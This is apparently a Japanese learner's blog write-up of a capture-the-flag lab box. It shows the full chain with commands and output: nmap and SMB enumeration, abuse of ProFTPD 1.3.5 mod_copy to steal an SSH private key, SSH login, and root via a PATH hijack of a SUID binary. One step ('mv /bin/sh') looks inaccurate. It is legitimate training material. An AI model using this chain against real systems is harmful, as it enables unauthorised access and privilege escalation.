ペネトレーションテストのおべんきょ日記2
はじめに
記憶は反復である。ということでやったことを雑に整理して書くだけでも記憶に定着するので書いてみるという試みです。
並行して二種電気工事士の勉強もしてるのでこうでもしないと頭に入らぬ。
詳しいことは、以下の記事で。
調査フェーズ1
今回はポートを調査するだけで調査フェーズは終わる。
┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -n -sT 10.10.188.102
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-07 01:23 EDT
Nmap scan report for 10.10.188.102
Host is up (0.24s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2049/tcp open nfs
詳細を調べる。
┌──(kali㉿kali)-[~]
└─$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.188.102
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-07 01:31 EDT
Nmap scan report for 10.10.188.102
Host is up (0.24s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.188.102\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (kenobi server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.188.102\anonymous:
| Type: STYPE_DISKTREE
| Comment:
| Users: 0
| Max Users: <unlimited>
| Path: C:\home\kenobi\share
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.188.102\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>
Nmap done: 1 IP address (1 host up) scanned in 42.26 seconds
調査フェーズ2
とりあえず共有フォルダにアクセスしてみる。
┌──(kali㉿kali)-[~]
└─$ smbclient //10.10.188.102/anonymous
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: > ls
. D 0 Thu Sep 7 02:17:54 2023
.. D 0 Wed Sep 4 06:56:07 2019
log.txt N 12237 Wed Sep 4 06:49:09 2019
9204224 blocks of size 1024. 6877108 blocks available
なんかあった。
log.txtをみるとkenobiアカウントの秘密鍵が /home/kenobi/.ssh/id_rsa に生成されていることが分かった。
さらに、kenobiアカウントでftpサーバが動いていることもログファイルからわかったのでいい感じにやっていく
とりあえずFTPの脆弱性をリストアップする
┌──(kali㉿kali)-[~]
└─$ searchsploit proftpd 1.3.5
--------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2) | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy | linux/remote/36742.txt
--------------------------------------------------------- ---------------------------------
Shellcodes: No Results
mod_copyというやつに脆弱性があるっぽい。調べてみた
SITE CPFR コマンドで指定したファイルをコピーすることが可能です。
SITE CPTO <コピー先のファイルのアドレス>
これで任意の場所に未認証でコピーできる!?
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /home/kenobi/share/id_rsa
250 Copy successful
コピーはできたっぽい
SMBで接続してみた。
┌──(kali㉿kali)-[~]
└─$ smbclient //10.10.188.102/anonymous
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Sep 7 02:17:54 2023
.. D 0 Wed Sep 4 06:56:07 2019
id_rsa N 1675 Thu Sep 7 02:17:54 2023
log.txt N 12237 Wed Sep 4 06:49:09 2019
9204224 blocks of size 1024. 6877108 blocks available
smb: \> get id_rsa
getting file \id_rsa of size 1675 as id_rsa (1.7 KiloBytes/sec) (average 1.7 KiloBytes/sec)
smb: \>
kenobiの秘密鍵取れた!
kenobiアカウントに侵入してみる。
┌──(kali㉿kali)-[~]
└─$ mkdir box
┌──(kali㉿kali)-[~]
└─$ chmod 600 id_rsa
┌──(kali㉿kali)-[~]
└─$ sudo mv id_rsa box
┌──(kali㉿kali)-[~]
└─$ ssh -i box/id_rsa kenobi@10.10.188.102
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
103 packages can be updated.
65 updates are security updates.
Last login: Wed Sep 4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
kenobi@kenobi:~$ ls
share user.txt
kenobi@kenobi:~$ cat user.txt
<1つ目のフラグゲット>
フラグは取ったけど特権昇格しようぜ!
SUIDビットが立ってるファイルを一覧してみる。
一覧した中に、変なファイルが有ったので、とりあえず実行してみたところ
kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
...
/usr/bin/menu <----これ。明らかにおかしい。なんだよmenuってw
...
kenobi@kenobi:~$ /usr/bin/menu
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
eth0 Link encap:Ethernet HWaddr 02:8d:b1:c9:3a:95
inet addr:10.10.188.102 Bcast:10.10.255.255 Mask:255.255.0.0
inet6 addr: fe80::8d:b1ff:fec9:3a95/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:9001 Metric:1
RX packets:4084 errors:0 dropped:0 overruns:0 frame:0
TX packets:3762 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:260418 (260.4 KB) TX bytes:385196 (385.1 KB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:226 errors:0 dropped:0 overruns:0 frame:0
TX packets:226 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:16757 (16.7 KB) TX bytes:16757 (16.7 KB)
外部入力を受け付けずに、指定されたコマンドを管理者権限で実行するコマンドっぽい
管理者で実行しなくてもいいのでは感がありつつ
stringsでバイナリの中の文字列を読んで見る。
kenobi@kenobi:~$ strings /usr/bin/menu
...
...
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
Invalid choice
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
crtstuff.c
...
...
kenobi@kenobi:~$
つまり、特権昇格した上で
curl -I localhost
uname -r
ifconfig
のいずれかを実行するコマンドの様子。
つまり、これらの実行を乗っ取れれば良い。
ざっくり手順
rootで実行したいのはシェルなので /bin/shをifconfigに改名してkenobiのhomeに置く。
パスを表示しておく(後でまた使うので)
パスを全部消して、ホームディレクトリのパスに置換する
/usr/bin/menuを実行して3を押すと /home/kenobi/ifconfig(実体はシェル) が実行される
kenobi@kenobi:~$ mv /bin/sh ~/ifconfig
kenobi@kenobi:~$ echo $PATH
/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
kenobi@kenobi:~$ PATH=$(pwd)
kenobi@kenobi:~$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
5. シェルが実行され、 先頭にプロンプトが表示されている。
PATH環境変数にkenobiの環境変数を入れてコマンドを実行できるようにする。
$ PATH=/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$
$ ls
ifconfig share user.txt
$ whoami
root
$ id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
$ cd /root
$ ls
root.txt
$ cat root.txt
flagが出力される
というわけで攻略完了!
やっぱり最初っからBoxやっとけばなんとなくな流れ分かるし、簡単なやつならサクサク解けていくからこういう進め方すればよかったんだなぁ
もっと早く気付けばよかった。6月の自分に教えてあげたい。
電気工事士?
それはまた別の記事で。
ケーブルの種類とか書いていくので、多分長くなるから。
ほいでは
この記事が気に入ったらサポートをしてみませんか?